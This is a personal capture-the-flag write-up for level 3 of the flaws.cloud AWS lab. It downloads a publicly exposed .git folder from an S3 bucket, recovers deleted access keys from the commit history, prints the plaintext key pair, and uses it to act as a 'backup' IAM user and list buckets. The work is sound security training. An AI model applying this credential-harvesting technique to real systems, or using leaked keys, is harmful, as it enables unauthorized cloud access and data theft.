Level 3
Status: Done Assign: Dcyberguy
curlie http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud -v
* Trying 52.92.195.219:80...
* Connected to level3-9afd3927f195e10225021a578e6f78df.flaws.cloud (52.92.195.219) port 80 (#0)
GET / HTTP/1.1
Host: level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
User-Agent: curl/7.88.1
Accept: application/json, */*
HTTP/1.1 200 OK
x-amz-id-2: BFjoyS2D1DuF8P0Qy5El9J2gILwshlmXWWO5YRnLNSx+ZrCyKxDfhnXQyRxEdpMT+8S6sBVMsAE=
x-amz-request-id: QZ3SY95HAKX2R2PW
Date: Wed, 14 Jan 2026 22:21:12 GMT
Last-Modified: Fri, 22 May 2020 18:21:10 GMT
ETag: "5a36dafda1c9899804518fae71c9461a"
Content-Type: text/html
Content-Length: 1861
Server: AmazonS3
<< SNIP FOR BREVITY >>
Enumeration:¶
Looking at the Amazon s3 bucket for LEVEL 3. I see at folder called .git. That is interesting, maybe we might find somehting juicey in there.
aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
PRE .git/
2017-02-26 19:14:33 123637 authenticated_users.png
2017-02-26 19:14:34 1552 hint1.html
2017-02-26 19:14:34 1426 hint2.html
2017-02-26 19:14:35 1247 hint3.html
2017-02-26 19:14:33 1035 hint4.html
2020-05-22 14:21:10 1861 index.html
2017-02-26 19:14:33 26 robots.txt
Let’s download the contents in the .git folder.
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git /home/pwnedlabs/Flaws.cloud
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/COMMIT_EDITMSG to ./COMMIT_EDITMSG
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/prepare-commit-msg.sample to hooks/prepare-commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/HEAD to ./HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/config to ./config
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-commit.sample to hooks/pre-commit.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/commit-msg.sample to hooks/commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-rebase.sample to hooks/pre-rebase.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to ./description
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/index to ./index
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/applypatch-msg.sample to hooks/applypatch-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/post-update.sample to hooks/post-update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-applypatch.sample to hooks/pre-applypatch.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/update.sample to hooks/update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df to objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/HEAD to logs/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/info/exclude to info/exclude
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c to objects/53/23d77d2d914c89b220be9291439e3da9dada3c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25 to objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/refs/heads/master to logs/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c to objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b to objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/refs/heads/master to refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526 to objects/c2/aab7e03933a858d1765090928dca4013fe2526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 to objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2 to objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f2/a144957997f15729d4491f251c3615d508b16a to objects/f2/a144957997f15729d4491f251c3615d508b16a
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2 to objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61 to objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c to objects/76/e4934c9de40e36f09b4e5538236551529f723c
List the contents of that downloaded .git folder
ls -l
rw-r--r-- 1 pwnedlabs pwnedlabs 52 B Sun Sep 17 11:12:24 2017 COMMIT_EDITMSG
rw-r--r-- 1 pwnedlabs pwnedlabs 130 B Sun Sep 17 11:12:24 2017 config
rw-r--r-- 1 pwnedlabs pwnedlabs 73 B Sun Sep 17 11:12:24 2017 description
rw-r--r-- 1 pwnedlabs pwnedlabs 23 B Sun Sep 17 11:12:24 2017 HEAD
rwxr-xr-x 2 pwnedlabs pwnedlabs 4 KiB Wed Jan 14 17:37:29 2026 hooks/
rw-r--r-- 1 pwnedlabs pwnedlabs 600 B Sun Sep 17 11:12:24 2017 index
rwxr-xr-x 2 pwnedlabs pwnedlabs 4 KiB Wed Jan 14 17:37:29 2026 info/
rwxr-xr-x 3 pwnedlabs pwnedlabs 4 KiB Wed Jan 14 17:37:29 2026 logs/
rwxr-xr-x 14 pwnedlabs pwnedlabs 4 KiB Wed Jan 14 17:37:27 2026 objects/
rwxr-xr-x 3 pwnedlabs pwnedlabs 4 KiB Wed Jan 14 17:37:27 2026 refs/
Running git logwe can see 2 deleted entries to access_keys.txt which wasn’t in the original s3 bucket contents.
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:43 2017 -0600
Oops, accidentally added something I shouldn't have
access_keys.txt | 2 --
1 file changed, 2 deletions(-)
commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:07 2017 -0600
first commit
access_keys.txt | 2 ++
authenticated_users.png | Bin 0 -> 123637 bytes
hint1.html | 38 ++++++++++++++++++++++++++++++++++++++
hint2.html | 45 +++++++++++++++++++++++++++++++++++++++++++++
hint3.html | 44 ++++++++++++++++++++++++++++++++++++++++++++
hint4.html | 31 +++++++++++++++++++++++++++++++
index.html | 47 +++++++++++++++++++++++++++++++++++++++++++++++
robots.txt | 2 ++
8 files changed, 209 insertions(+)
To see the full commit history, I will run the git show command
git show b64c8dc
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:43 2017 -0600
Oops, accidentally added something I shouldn't have
diff --git a/access_keys.txt b/access_keys.txt
deleted file mode 100644
index e3ae6dd..0000000
--- a/access_keys.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-access_key AKIAXXXXXXXXXXXXXXXXXXXXXXXXXXX
-secret_access_key OdNXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Add the Access keys to your aws config and include a profile flaws.
aws configure --profile flaws
AWS Access Key ID [None]: AKIAJ366LIPB4IJKT7SA
AWS Secret Access Key [None]: OdNa7m+bqUvF3Bn/qgSnPE1kBpqcBTTjqwP83Jys
Default region name [None]: us-east-1
Default output format [None]: json
Check what user is this. Like the linux whoami. We are now the backup user.
aws sts get-caller-identity --profile flaws
{
"UserId": "AIDAJQ3H5DC3LEG2BKSLC",
"Account": "975426262029",
"Arn": "arn:aws:iam::975426262029:user/backup"
}
This would give you access to all buckets that can be accessed by the backup user
aws s3 ls --profile flaws
2017-02-12 16:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-29 12:34:53 config-bucket-975426262029
2017-02-12 15:03:24 flaws-logs
2017-02-04 22:40:07 flaws.cloud
2017-02-23 20:54:13 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-26 13:15:44 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-26 13:16:06 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-26 14:44:51 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-26 14:47:58 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-26 15:06:32 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
+<html>^M
+ <head>^M
+ <title>flAWS</title>^M
+ <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">^M
+ <style>^M
+ body { font-family: Andale Mono, monospace; }^M
+ :not(center) > pre { background-color: #202020; padding: 4px; border-radius: 5px; border-color:#00d000; ^M
+ border-width: 1px; border-style: solid;} ^M
+ </style>^M
+ </head>^M
+<body ^M
+ text="#00d000" ^M
+ bgcolor="#000000" ^M
+ style="max-width:800px; margin-left:auto ;margin-right:auto"^M
+ vlink="#00ff00" link="#00ff00">^M
+ ^M
+<center>^M
+<pre >^M
+ _____ _ ____ __ __ _____^M
+| || | / || |__| |/ ___/^M
+| __|| | | o || | | ( \_ ^M
+| |_ | |___ | || | | |\__ |^M
+| _] | || _ || ` ' |/ \ |^M
+| | | || | | \ / \ |^M
+|__| |_____||__|__| \_/\_/ \___|^M
+</pre>^M
+^M
+<h1>Level 3: Hint 4</h1>^M
+</center>^M
+^M
+The next level is at <a href="http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud">http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud</a>
\ No newline at end of file
Head over to Level 4 -------->
